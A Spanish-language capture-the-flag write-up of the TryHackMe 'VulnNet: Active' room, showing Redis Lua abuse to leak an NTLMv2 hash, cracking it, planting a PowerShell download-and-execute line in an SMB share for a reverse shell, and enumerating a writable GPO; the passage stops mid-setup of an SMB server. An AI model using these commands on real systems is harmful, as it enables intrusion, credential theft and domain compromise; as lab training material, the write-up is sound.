VulnNet: Active – TryHackMe Link to heading
- OS: Windows
- Difficulty / Dificultad: Medium / Media
- Platform / Plataforma: TryHackMe
Link de Room en TryHackMe
: https://tryhackme.com/room/vulnnetactive
Resumen Link to heading
“VulnNet: Active” es una máquina de dificultad Media de la plataforma TryHackMe
. La máquina víctima se encuentra corriendo un servicio Redis
el cual permite loguearse sin autenticación. Esto nos permite enviarnos a neustra máquina de atacantes un hash como el usuario que está corriendo el servicio, hash el cual somos capaces de crackear y así obtener la contraseña del usuario corrienddo este servicio. Este usuario tiene acceso a un un recurso compartido por SMB
, donde somos capaces tanto de descargar como subir archivos; es así como reemplazamos un script de PowerShell
por uno malicioso, ganando asì acceso a la máquina víctima. Una vez dentro, vemos que el usuario actual es capaz de modificar un Group Policy Object
(GPO
) en el dominio de Active Directory
actual, lo cual nos permite modificar este GPO
para agregar a nuestro usuario como administrador del sistema y así comprometer el dominio.
User / Usuario Link to heading
Empezamos buscando por puertos TCP
abiertos a través de un rápido, pero silencioso escaneo con Nmap
contra la máquina víctima:
❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.10.203.36
El escaneo con Nmap
muestra múltiples puertos abiertos. Entre ellos tenemos: 53
DNS
, 135
Microsoft RPC
, 445
SMB
, 464
Kerberos
, 6379
Redis
; entre otros. Aplicamos algunos scripts de reconocimientos sobre los puertos abiertos identificados usando la flag -sVC
con Nmap
:
❯ sudo nmap -sVC -p53,135,139,445,464,6379,9389,49666,49667,49670,49672,49677,49705 10.10.203.36
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-24 21:05 -04
Nmap scan report for 10.10.203.36
Host is up (0.24s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
6379/tcp open redis Redis key-value store 2.8.2402
9389/tcp open mc-nmf .NET Message Framing
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49670/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49672/tcp open msrpc Microsoft Windows RPC
49677/tcp open msrpc Microsoft Windows RPC
49705/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-06-25T01:07:01
|_ start_date: N/A
|_clock-skew: 3s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 99.76 seconds
Dado algunos puertos abiertos (y servicios) tales como RPC
, Kerberos
y SMB
, podemos sospechar que estamos ante un entorno Active Directory
.
Podemos usar una herramienta como NetExec
contra el servicio SMB
de la máquina víctima para obtener tanto el nombre de la máquina víctima como el posible dominio de la que ésta pueda formar parte:
❯ nxc smb 10.10.203.36
SMB 10.10.203.36 445 VULNNET-BC3TCK1 [*] Windows 10 / Server 2019 Build 17763 x64 (name:VULNNET-BC3TCK1) (domain:vulnnet.local) (signing:True) (SMBv1:False)
Tenemos un nombre de máquina VULNNET-BC3TCK1
y un dominio vulnnet.local
.
Para evitar problemas a futuro con resoluciones de DNS
, siempre es recomendable agregar el nombre de la máquina, dominio y FQDN (el cual es el nombre de la máquina junto con el dominio), junto con la IP de la máquina víctima, a nuestro archivo /etc/hosts
ejecutando:
❯ echo '10.10.203.36 VULNNET-BC3TCK1 VULNNET-BC3TCK1.vulnnet.local vulnnet.local' | sudo tee -a /etc/hosts
Entre todos los servicios disponibles, uno muy curioso es Redis
. Podemos usar la herramienta redis-cli
para interactuar con este servicio desde una terminal:
❯ redis-cli -h 10.10.203.36
10.10.203.36:6379>
Tenemos acceso al servicio Redis
, lo cual es curioso ya que no nos pidió contraseña/autenticación alguna.
Podemos usar el comando info
para obtener información del servicio de Redis
en sí:
10.10.203.36:6379> info
# Server
redis_version:2.8.2402
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:b2a45a9622ff23b7
redis_mode:standalone
os:Windows
arch_bits:64
multiplexing_api:winsock_IOCP
process_id:3808
run_id:eeecd010a88fc3de1b88573b386150aee4267edb
tcp_port:6379
uptime_in_seconds:37
uptime_in_days:0
hz:10
lru_clock:5986925
config_file:
# Clients
connected_clients:1
client_longest_output_list:0
client_biggest_input_buf:0
blocked_clients:0
# Memory
used_memory:952800
used_memory_human:930.47K
used_memory_rss:919256
used_memory_peak:952800
used_memory_peak_human:930.47K
used_memory_lua:36864
mem_fragmentation_ratio:0.96
mem_allocator:dlmalloc-2.8
# Persistence
loading:0
rdb_changes_since_last_save:0
rdb_bgsave_in_progress:0
rdb_last_save_time:1750817352
rdb_last_bgsave_status:ok
rdb_last_bgsave_time_sec:-1
rdb_current_bgsave_time_sec:-1
aof_enabled:0
aof_rewrite_in_progress:0
aof_rewrite_scheduled:0
aof_last_rewrite_time_sec:-1
aof_current_rewrite_time_sec:-1
aof_last_bgrewrite_status:ok
aof_last_write_status:ok
# Stats
total_connections_received:1
total_commands_processed:2
instantaneous_ops_per_sec:0
total_net_input_bytes:58
total_net_output_bytes:0
instantaneous_input_kbps:0.00
instantaneous_output_kbps:0.00
rejected_connections:0
sync_full:0
sync_partial_ok:0
sync_partial_err:0
expired_keys:0
evicted_keys:0
keyspace_hits:0
keyspace_misses:0
pubsub_channels:0
pubsub_patterns:0
latest_fork_usec:0
# Replication
role:master
connected_slaves:0
master_repl_offset:0
repl_backlog_active:0
repl_backlog_size:1048576
repl_backlog_first_byte_offset:0
repl_backlog_histlen:0
# CPU
used_cpu_sys:0.06
used_cpu_user:0.16
used_cpu_sys_children:0.00
used_cpu_user_children:0.00
# Keyspace
We can use CONFIG GET *
command to obtain information about previous commands executed:
10.10.203.36:6379> CONFIG GET *
1) "dbfilename"
2) "dump.rdb"
3) "requirepass"
<SNIP>
Where we can eventually see:
<SNIP>
103) "dir"
104) "C:\\Users\\enterprise-security\\Downloads\\Redis-x64-2.8.2402"
105) "maxmemory-policy"
<SNIP>
Está soliticando un archivo. De manera que, quizás, el acceso a archivos del sistema esté habilitado. Como un leve paréntesis, para obtener una mayor lista de cosas que podemso hacer para pentesting de Redis
, podemos ver distintos blogs como éste por ejemplo.
Además, como se puede ver en este blog, podemos tratar de ejecutar comandos de Lua
mediante Redis
con el comando:
eval "dofile('C:\\\\Users\\\\test\\\\Desktop\\\\user.txt')" 0
Pero esto también nos podría servir para leer archivos. Por ejemplo, si tratamos de ejecutar/leer C:\Windows\System32\drivers\etc\hosts
(un archivo que casi siempre existe en una máquina Windows
, incluso la suya misma) obtenemos:
10.10.203.36:6379> eval "dofile('C:\\\\Windows\\\\System32\\\\drivers\\\\etc\\\\hosts')" 0
(error) ERR Error running script (call to f_4312283d582c42bbd59038c231ddd3f74b70f40a): @user_script:1: C:\Windows\System32\drivers\etc\hosts:2: unexpected symbol near '#'
Obtenemos un error: el programa está tratando de ejecutar un script y se encuentra con el símbolo #
, el cual desconoce cómo ejecutar. Dado que el archivo \etc\hosts
de Windows
comienza con #
esto es una buena señal ya que puede indicar que el servicio está tratando de ejecutar aquel archivo.
Podemos así manipular el archivo que estamos tratando de leer para tratar de leer un recurso en nuestra máquina de atacantes en redis-cli
:
redis-cli -h $IP eval "dofile('//<attacker-IP>/test')" 0
Intentemos eso.
Primero, empezamos un “listener” con Responder
para la interfaz tun0
(la cual es usada por la VPN de TryHackMe
):
❯ sudo responder -I tun0
Luego, nos enviamos a nuestra máquina de atacantes una solicitud:
❯ redis-cli -h 10.10.203.36 eval "dofile('//10.14.104.16/anything')" 0
(error) ERR Error running script (call to f_bf22ebd191e6d311ab47bbc7f649027d76ee423d): @user_script:1: cannot open //10.14.104.16/anything: Permission denied
y en nuestro Responder
obtenemos algo:
❯ sudo responder -I tun0
<SNIP>
[+] Listening for events...
[SMB] NTLMv2-SSP Client : 10.10.203.36
[SMB] NTLMv2-SSP Username : VULNNET\enterprise-security
[SMB] NTLMv2-SSP Hash : enterprise-security::VULNNET:2db625de02cd0eee:5234CD17436E922BEB1F7E1E0E02C3DB:01010000000000008074517D56E5DB015DEAFC80EC84F2450000000002000800450054004A00340001001E00570049004E002D0037005000430045005A0052003900540036004E00380004003400570049004E002D0037005000430045005A0052003900540036004E0038002E00450054004A0034002E004C004F00430041004C0003001400450054004A0034002E004C004F00430041004C0005001400450054004A0034002E004C004F00430041004C00070008008074517D56E5DB01060004000200000008003000300000000000000000000000003000004F94803E727FE8648EBE310AFFD75528DB526E461EC6DC63C18074F0DA498E660A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310034002E003100300034002E00310036000000000000000000
Obtenemos un hash NTLMv2
para el usuario enterprise-security
.
Guardamos este hash en un archivo y lo tratamos de crackear a través de Brute Force Password Cracking
(fuerza bruta) utilizando la herramienta John The Ripper
(o john
):
❯ john --wordlist=/usr/share/wordlists/rockyou.txt --format=netntlmv2 enterprise-security_hash
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
sand_0873959498 (enterprise-security)
1g 0:00:00:02 DONE (2025-06-24 22:26) 0.4975g/s 1997Kp/s 1997Kc/s 1997KC/s sandraTIPITIN..sand36
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.
Obtenemos una contraseña: sand_0873959498
.
Revisamos si esta contraseña es válida para el usuario enterprise-security
en el dominio a través del servicio SMB
usando nuevamente la herramienta NetExec
:
❯ nxc smb 10.10.203.36 -u 'enterprise-security' -p 'sand_0873959498'
SMB 10.10.203.36 445 VULNNET-BC3TCK1 [*] Windows 10 / Server 2019 Build 17763 x64 (name:VULNNET-BC3TCK1) (domain:vulnnet.local) (signing:True) (SMBv1:False)
SMB 10.10.203.36 445 VULNNET-BC3TCK1 [+] vulnnet.local\enterprise-security:sand_0873959498
Podemos ver un símbolo +
, por lo que es válida.
Revisamos si este usuario tiene acceso a recursos compartidos por SMB
utilizando nuestro ya amigo NetExec
:
❯ nxc smb 10.10.203.36 -u 'enterprise-security' -p 'sand_0873959498' --shares
SMB 10.10.203.36 445 VULNNET-BC3TCK1 [*] Windows 10 / Server 2019 Build 17763 x64 (name:VULNNET-BC3TCK1) (domain:vulnnet.local) (signing:True) (SMBv1:False)
SMB 10.10.203.36 445 VULNNET-BC3TCK1 [+] vulnnet.local\enterprise-security:sand_0873959498
SMB 10.10.203.36 445 VULNNET-BC3TCK1 [*] Enumerated shares
SMB 10.10.203.36 445 VULNNET-BC3TCK1 Share Permissions Remark
SMB 10.10.203.36 445 VULNNET-BC3TCK1 ----- ----------- ------
SMB 10.10.203.36 445 VULNNET-BC3TCK1 ADMIN$ Remote Admin
SMB 10.10.203.36 445 VULNNET-BC3TCK1 C$ Default share
SMB 10.10.203.36 445 VULNNET-BC3TCK1 Enterprise-Share READ,WRITE
SMB 10.10.203.36 445 VULNNET-BC3TCK1 IPC$ READ Remote IPC
SMB 10.10.203.36 445 VULNNET-BC3TCK1 NETLOGON READ Logon server share
SMB 10.10.203.36 445 VULNNET-BC3TCK1 SYSVOL READ Logon server share
Tenemos un recurso compartido llamado Enterprise-Share
, el cual no es uno de los que vienen por defecto en SMB
, del cual podemos tanto leer como escribir (subir) archivos.
Usamos nuestro compañero NetExec
para revisar el contenido dentro de este recurso compartido:
❯ nxc smb 10.10.203.36 -u 'enterprise-security' -p 'sand_0873959498' --spider 'Enterprise-Share' --pattern .
SMB 10.10.203.36 445 VULNNET-BC3TCK1 [*] Windows 10 / Server 2019 Build 17763 x64 (name:VULNNET-BC3TCK1) (domain:vulnnet.local) (signing:True) (SMBv1:False)
SMB 10.10.203.36 445 VULNNET-BC3TCK1 [+] vulnnet.local\enterprise-security:sand_0873959498
SMB 10.10.203.36 445 VULNNET-BC3TCK1 [*] Spidering .
SMB 10.10.203.36 445 VULNNET-BC3TCK1 //10.10.203.36/Enterprise-Share/. [dir]
SMB 10.10.203.36 445 VULNNET-BC3TCK1 //10.10.203.36/Enterprise-Share/.. [dir]
SMB 10.10.203.36 445 VULNNET-BC3TCK1 //10.10.203.36/Enterprise-Share/PurgeIrrelevantData_1826.ps1 [lastm:'2021-02-23 21:33' size:69]
Podemos ver un script de PowerShell
llamado PurgeIrrelevantData_1826.ps1
.
Descargamos aquel script usando NetExec
:
❯ nxc smb 10.10.203.36 -u 'enterprise-security' -p 'sand_0873959498' --share 'Enterprise-Share' --get-file PurgeIrrelevantData_1826.ps1 PurgeIrrelevantData_1826.ps1
SMB 10.10.203.36 445 VULNNET-BC3TCK1 [*] Windows 10 / Server 2019 Build 17763 x64 (name:VULNNET-BC3TCK1) (domain:vulnnet.local) (signing:True) (SMBv1:False)
SMB 10.10.203.36 445 VULNNET-BC3TCK1 [+] vulnnet.local\enterprise-security:sand_0873959498
SMB 10.10.203.36 445 VULNNET-BC3TCK1 [*] Copying "PurgeIrrelevantData_1826.ps1" to "PurgeIrrelevantData_1826.ps1"
SMB 10.10.203.36 445 VULNNET-BC3TCK1 [+] File "PurgeIrrelevantData_1826.ps1" was downloaded to "PurgeIrrelevantData_1826.ps1"
Leyendo el contenido de este script de PowerShell
, éste parece ser un script de una complejidad insana:
rm -Force C:\Users\Public\Documents\* -ErrorAction SilentlyContinue
Es un script que simplemente borra todos los recursos en la carpeta C:\Users\Public\Documents\
.
Ya que tenemos permisos de escritura, podríamos tratar de sobreescribir este archivo añadiendo a éste una línea que ejecute una tarea/instrucción maliciosa. Por ejemplo, podríamos agregar la línea:
IEX(New-Object Net.WebClient).downloadString('http://10.14.104.16:8000/Invoke-PowerShellTcp.ps1')
Donde 10.14.104.16
es nuestra IP de atacantes y 8000
es un puerto en el cual próximamente comenzaremos un servidor HTTP
mediante Python
.
Ya descargado el archivo del recurso compartido, agregamos la instrucción/línea maliciosa al script. Por lo que PurgeIrrelevantData_1826.ps1
ahora se ve como:
rm -Force C:\Users\Public\Documents\* -ErrorAction SilentlyContinue
IEX(New-Object Net.WebClient).downloadString('http://10.14.104.16:8000/Invoke-PowerShellTcp.ps1')
Para ganar acceso a la máquina víctima y obtener una reverse shell, utilizaremos el script Invoke-PowerShellTcp.ps1 del repositorio de Nishang
.
Descargamos el script del repositorio usando wget
en una terminal:
❯ wget https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1 -q
Ahora editaremos el script Invoke-PowerShellTcp.ps1
de tal manera que cuando éste es llamado, éste ejecuta una función para enviarnos una reverse shell automáticamente. Para este propósito, agregamos al final de este script la línea:
Invoke-PowerShellTcp -Reverse -IPAddress 10.14.104.16 -Port 443
Y guardamos el archivo. Recordando que aquí 10.14.104.16
es nuestra IP de atacantes y 443
el puerto en el que nos pondremos en escucha para recibir una reverse shell con netcat
. Si no queda del todo claro, subí un ejemplo de cómo se debería ver el script a mi repositorio de Github.
Exponemos el archivo modificado Invoke-PowerShellTcp.ps1
a través de un servidor HTTP
con Python
por el puerto 8000
:
❯ ls -la && python3 -m http.server 8000
total 16
drwxrwxr-x 2 gunzf0x gunzf0x 4096 Jun 24 22:57 .
drwxrwxr-x 5 gunzf0x gunzf0x 4096 Jun 24 21:04 ..
-rw-rw-r-- 1 gunzf0x gunzf0x 4339 Jun 24 22:57 Invoke-PowerShellTcp.ps1
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Además, en otra terminal empezamos un listener con netcat
junto con rlwrap
(ésta última herramienta nos permite manejar de manera más cómoda las reverse shells obtenidas desde máquinas víctimas Windows
, no aplica para reverse shells obtenidas desde Linux
; pero es completamente opcional colocarlo):
❯ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
Ahora subimos el archivo PurgeIrrelevantData_1826.ps1
modificado desde nuestra máquina víctima al recurso compartido Enterprise-Share
dado que alguien o algo podría ejecutarlo. Podemos así “sobreescribir” el archivo original subiendo el archivo con exactamente el mismo nombre mediante nuestro amigo NetExec
y su flag --put-file
para subir archivos mediante SMB
:
❯ nxc smb 10.10.203.36 -u 'enterprise-security' -p 'sand_0873959498' --share 'Enterprise-Share' --put-file PurgeIrrelevantData_1826.ps1 PurgeIrrelevantData_1826.ps1
SMB 10.10.203.36 445 VULNNET-BC3TCK1 [*] Windows 10 / Server 2019 Build 17763 x64 (name:VULNNET-BC3TCK1) (domain:vulnnet.local) (signing:True) (SMBv1:False)
SMB 10.10.203.36 445 VULNNET-BC3TCK1 [+] vulnnet.local\enterprise-security:sand_0873959498
SMB 10.10.203.36 445 VULNNET-BC3TCK1 [*] Copying PurgeIrrelevantData_1826.ps1 to PurgeIrrelevantData_1826.ps1
SMB 10.10.203.36 445 VULNNET-BC3TCK1 [+] Created file PurgeIrrelevantData_1826.ps1 on \\Enterprise-Share\PurgeIrrelevantData_1826.ps1
La “cadena de ataque” (“chain attack”) es entonces:
- Decargamos el script Invoke-PowerShellTcp.ps1 y lo editamos para que éste sea ejecutado apenas es cargado.
- Exponemos el script
Invoke-PowerShellTcp.ps1
modificado en un servidorHTTP
usandoPython
en nuestra máquina de atacantes. - Modificamos el script descargado
PurgeIrrelevantData_1826.ps1
, añadiendo a este un instrucción enPowerShell
que cargará el scriptInvoke-PowerShellTcp.ps1
desde nuestro servidor web iniciado en el pao anterior. - En otra terminal, empezamos un listener con
netcat
en el puerto que hemos especificado enInvoke-PowerShellTcp.ps1
script. - Usando
NetExec
(u otra herramienta paraSMB
) subimos el archivo modificadoPurgeIrrelevantData_1826.ps1
a la carpeta compartidaEnterprise-Share
, conservando el nombre del archivo. Esto hará que el archivo original en el recurso compartido sea reemplazado por nuestro archivo que contiene una instrucción maliciosa.
Luego de algunos minutos, obtenemos una petición GET
en nuestro servidor HTTP
temporal con Python
, obteniendo una shell como el usuario enterprise-security
en nuestro listener con nc
; ganando así acceso a la máquina víctima:
❯ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
connect to [10.14.104.16] from (UNKNOWN) [10.10.214.129] 49752
Windows PowerShell running as user enterprise-security on VULNNET-BC3TCK1
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
PS C:\Users\enterprise-security\Downloads>
Podemos extraer la flag de user desde el Desktop del usuario enterprise-security
.
ENTER
en la shell que hemos obtenido en nc
, puede que obtengamos un error PermissionDenied
. No obstante, este error es irrelevante dado que luego de que este error es mostrado en pantalla la shell sigue siendo 100% funcional.NT Authority/System - Administrator Link to heading
Debemos recordar que basados en los puertos abiertos asumimos que estábamos ante un entorno Active Directory
(AD
). Para obtener información del dominio tenemos por tanto 2 opciones: usar Bloodhound
o usar PowerView
. Mostraré ambas.
Usando PowerView para inspeccionar el dominio Link to heading
Podemos descargar PowerView.ps1
desde su fuente original de Github (PowerSploit) con wget
en una terminal en nuestra máquina de atacantes:
❯ wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1 -q
Una vez descargado, y como ya hemos hecho antes, exponemos este archivo a través de un serivodr HTTP
con Python
a través del puerto 8000
:
❯ ls -la && python3 -m http.server 8000
total 6996
drwxrwxr-x 2 gunzf0x gunzf0x 4096 Jun 27 14:30 .
drwxrwxr-x 5 gunzf0x gunzf0x 4096 Jun 24 21:04 ..
-rw-rw-r-- 1 gunzf0x gunzf0x 4403 Jun 24 23:05 Invoke-PowerShellTcp.ps1
-rw-rw-r-- 1 gunzf0x gunzf0x 770279 Jun 27 14:30 PowerView.ps1
y, en la máquina víctima, importamos y cargamos PowerView.ps1
:
PS C:\Users\enterprise-security\Downloads> IEX(New-Object Net.WebClient).downloadString('http://10.14.104.16:8000/PowerView.ps1')
Resumidamente, PowerView.ps1
es un módulo de PowerShell
de la suite de PowerSploit el cual nos brinda variadas funciones para extraer información de Active Directory
; tanto de dominios como de forests (múltiples dominios anexados entre sí). Si se sabe utilizar bien, PowerView
puede mapear todo un entorno por sí solo.
Una vez importado, podemos buscar detalles del dominio utilizando la función Get-Domain
:
PS C:\Users\enterprise-security\Downloads> Get-Domain
Forest : vulnnet.local
DomainControllers : {VULNNET-BC3TCK1SHNQ.vulnnet.local}
Children : {}
DomainMode : Unknown
DomainModeLevel : 7
Parent :
PdcRoleOwner : VULNNET-BC3TCK1SHNQ.vulnnet.local
RidRoleOwner : VULNNET-BC3TCK1SHNQ.vulnnet.local
InfrastructureRoleOwner : VULNNET-BC3TCK1SHNQ.vulnnet.local
Name : vulnnet.local
Tal cual habíamos visto casi al inicio de este WriteUp, tenemos el nombre de la máquina actual la cual se llama VULNNET-BC3TCK1SHNQ
y un dominio vulnnet.local
, donde confirmamos que esta máquina es el Domain Controller
(o DC
) del dominio.
Una de las cosas que siempre se pasan por alto en los dominios son los llamados Group Policy Object
, o GPO
para los amigos. En corto, Son configuraciones centralizadas que permiten a los administradores de sistemas controlar y gestionar la configuración de usuarios y equipos dentro de un dominio de Active Directory
. Este blog muestra más información de qué son los GPOs
, para qué se utilizan y de qué sirven si es que todavía les intriga indagar sobre ello.
Para revisar si tenemos privilegios sobre algún GPO
en el dominio, necesitamos conocer el SID
(o Security Identifier
) de nuestro usuario en el dominio. El SID
no es más que un ID de nuestro usuario en el dominio:
PS C:\Users\enterprise-security\Downloads> ConvertTo-SID -Name enterprise-security
S-1-5-21-1405206085-1650434706-76331420-1103
Esto quiere decir que S-1-5-21-1405206085-1650434706-76331420-1103
o enterprise-security
al identificarse es equivalente.
Obtenido el SID
, revisamos si nuestro usuario tiene permisos sobre algún GPO
:
PS C:\Users\enterprise-security\Downloads> Get-DomainGPO | Get-ObjectAcl | ? {$_.SecurityIdentifier -eq 'S-1-5-21-1405206085-1650434706-76331420-1103'}
ObjectDN : CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=vulnnet,DC=local
ObjectSID :
ActiveDirectoryRights : CreateChild, DeleteChild, ReadProperty, WriteProperty, GenericExecute
BinaryLength : 36
AceQualifier : AccessAllowed
IsCallback : False
OpaqueLength : 0
AccessMask : 131127
SecurityIdentifier : S-1-5-21-1405206085-1650434706-76331420-1103
AceType : AccessAllowed
AceFlags : ContainerInherit
IsInherited : False
InheritanceFlags : ContainerInherit
PropagationFlags : None
AuditFlags : None
Del output de arriba vemos 2 cosas importantes:
- Obtenemos un
GPO
conGUID
31B2F340-016D-11D2-945F-00C04FB984F9
. LosGUID
de losGPOs
, no son más que IDs/identificadores para losGPOs
. - Tenemos permisos (parámetro
ActiveDirectoryRights
) sobre esteGPO
, más específico los permisos importantes sonWriteProperty
yGenericExecute
. Éstos nos permiten “editar” a nuestro antojo elGPO
.
Piensen los GPOs
como “políticas” que se aplican a un grupo. Por ejemplo, supongamos que tengo un pueblito (que sería la analogía al dominio de Active Directory
) y le aplico una política (que será el análogo del GPO
). Puedo crear una política que aplique a algunas casas del pueblo, una política que aplique a cierto sector del pueblo o, si se me permite, una política que afecte a todo el pueblo. Por lo que, en la vida real, los GPO
se utilizan para que sea más fácil administrar grupos o computadores. Otro ejemplo, creo un GPO
que sólo afecte a la gente de TI y Recursos Humanos en una empresa; u otro GPO
que sólo afecte a 2 computadores en mi dominio que son computadores encargados de bases de datos.
Podemos entonces obtener información acerca de este GPO
usando la función Get-GPO
de PowerView
y pasando el GUID
hallado:
PS C:\Users\enterprise-security\Downloads> Get-GPO -Guid 31B2F340-016D-11D2-945F-00C04FB984F9
DisplayName : security-pol-vn
DomainName : vulnnet.local
Owner : VULNNET\Domain Admins
Id : 31b2f340-016d-11d2-945f-00c04fb984f9
GpoStatus : AllSettingsEnabled
Description :
CreationTime : 2/23/2021 1:30:33 AM
ModificationTime : 2/23/2021 3:09:44 PM
UserVersion : AD Version: 0, SysVol Version: 0
ComputerVersion : AD Version: 3, SysVol Version: 3
WmiFilter :
El nombre del GPO
es security-pol-vn
.
Por lo que, resumiendo, como tenemos permisos sobre el GPO
llamado security-pol-vn
; esto quiere decir que si podemos manipualr el GPO
, podemos manipular todos los objetos que estén incluidos en la política del GPO
. ¿Qué pasa si un GPO
afecta un dominio entero? Eso quiere decir que si comprometo o puedo manipular ese GPO
, puedo realizar acciones (maliciosas) sobre el dominio entero.
El concepto de “qué es lo que abarca” un GPO
se conoce como “link”. Por lo que al decir “Vamos a ver a qué está linkeado un GPO
”, en realidad estamos diciendo “Vamos a ver qué objetos del dominio afecta el GPO
”. Por lo que, finalmente, podríamos tratar de usar la función Get-DomainOU
para ver a qué cosas está linkeado este GPO
(y, por ende, ver a qué usuarios y grupos del dominio afecta):
PS C:\Users\enterprise-security\Downloads> Get-DomainOU | select name, gplink
name gplink
---- ------
Domain Controllers [LDAP://CN={6AC1786C-016F-11D2-945F-00C04fB984F9},CN=Policies,CN=System,DC=vulnnet,DC=local;0]
En este caso no tenemos output relacionado al GPO
security-pol-vn
, sólo otro GPO
cuyo GUID
es 6AC1786C-016F-11D2-945F-00C04fB984F9
, el cual es el GPO
llamado Default Domain Controllers Policy
; que es el GPO
que viene “por defecto” en Active Directory
. Por lo que no podemos ver del todo a qué está linkeado este GPO
.
No obstante, y como hemos podido ver, puramente usando PowerView
hemos podido encontrar que tenemos un GPO
llamado security-pol-vn
el cual somos capaces de editar siendo el usuario enterprise-security
.
Using BloodHound to inspect the domain Link to heading
Otra manera de ver permisos en un entorno Active Directory
es usando Bloodhound
para “mapear” (ver relaciones) el dominio. Para este propósito, BloodHound
primero necesita una herramienta que escanee el dominio y genere un archivo el cual será interpretado por Bloodhound
. Para este propósito podemos ejecutar SharpHound
(el cual puede ser descargado desde su repositorio de Github) en la máquina víctima. En corto, SharpHound
mapeará el dominio, generará un archivo y ese archivo lo puede interpretar Bloodhound
para visualizar relaciones/permisos del dominio.
Como ya es usual, empezamos un servidor web HTTP
usando Python
y, en la máquina víctima, descargamos el binario de SharpHound
usando la sesión de PowerShell
:
PS C:\Users\enterprise-security\Downloads> iwr -uri http://10.14.104.16:8000/SharpHound.exe -o .\sharphound.exe
Una vez descargado, ejecutamos el binario de SharpHound
para recoleccionar información sobre el dominio:
PS C:\Users\enterprise-security\Downloads> .\sharphound.exe -c All -d vulnnet.local
2025-06-25T10:12:00.7797253-07:00|INFORMATION|This version of SharpHound is compatible with the 5.0.0 Release of BloodHound
2025-06-25T10:12:01.1233775-07:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote, UserRights, CARegistry, DCRegistry, CertServices, LdapServices, WebClientService, SmbInfo, NTLMRegistry
2025-06-25T10:12:01.2015387-07:00|INFORMATION|Initializing SharpHound at 10:12 AM on 6/25/2025
2025-06-25T10:12:01.6550153-07:00|INFORMATION|Flags: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote, UserRights, CARegistry, DCRegistry, CertServices, LdapServices, WebClientService, SmbInfo, NTLMRegistry
2025-06-25T10:12:01.8423011-07:00|INFORMATION|Beginning LDAP search for vulnnet.local
2025-06-25T10:12:02.0139979-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for VULNNET.LOCAL
2025-06-25T10:12:02.0296162-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for VULNNET.LOCAL
2025-06-25T10:12:02.3890040-07:00|INFORMATION|Beginning LDAP search for vulnnet.local Configuration NC
2025-06-25T10:12:02.4358786-07:00|INFORMATION|Producer has finished, closing LDAP channel
2025-06-25T10:12:02.4358786-07:00|INFORMATION|LDAP channel closed, waiting for consumers
2025-06-25T10:12:02.5609002-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for VULNNET.LOCAL
2025-06-25T10:12:03.5764881-07:00|INFORMATION|Consumers finished, closing output channel
Closing writers
2025-06-25T10:12:03.6077457-07:00|INFORMATION|Output channel closed, waiting for output task to complete
2025-06-25T10:12:03.7483672-07:00|INFORMATION|Status: 296 objects finished (+296 296)/s -- Using 45 MB RAM
2025-06-25T10:12:03.7483672-07:00|INFORMATION|Enumeration finished in 00:00:01.9412205
2025-06-25T10:12:03.8890026-07:00|INFORMATION|Saving cache with stats: 15 ID to type mappings.
1 name to SID mappings.
1 machine sid mappings.
4 sid to domain mappings.
0 global catalog mappings.
2025-06-25T10:12:03.9202268-07:00|INFORMATION|SharpHound Enumeration Completed at 10:12 AM on 6/25/2025! Happy Graphing!
Esto generará un archivo .zip
cuyo nombre no será más que la fecha en la cual hayamos ejecutado el comando.
PS C:\Users\enterprise-security\Downloads> dir
Directory: C:\Users\enterprise-security\Downloads
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 2/23/2021 2:29 PM nssm-2.24-101-g897c7ad
d----- 2/26/2021 12:14 PM Redis-x64-2.8.2402
-a---- 6/25/2025 10:12 AM 25799 20250625101202_BloodHound.zip
-a---- 6/25/2025 10:10 AM 1286656 sharphound.exe
-a---- 2/26/2021 10:37 AM 143 startup.bat
-a---- 6/25/2025 10:12 AM 1382 Y2Q3NzU4MTgtZWE0Ny00ZGJjLTg4MDAtM2NjYjJmZTZjN2U2.bin
Ahora bien, hasta este momento sólo hemos transferido archivos desde nuestra máquina de atacantes hacia la máquina víctima. ¿Pero cómo lo hacemos al revés (desde la máquina víctima a nuestra máquina de atacantes)? Una muy buena opción para en este caso es utilizar el servicio SMB
. En neustra máquina de atacantes podemos utilizar la herramienta impacket-smbserver
, creando un recurso compartido que llamaremos smbFolder
el cual utilizará credenciales para acceder a este recurso; asignaremos así el usuario gunzf0x
y contraseña gunzf0x123
para poder acceder a este recurso compartido. Todo esto lo hacemos ejecutando en una terminal:
❯ impacket-smbserver smbFolder $(pwd) -smb2support -username gunzf0x -password gunzf0x123
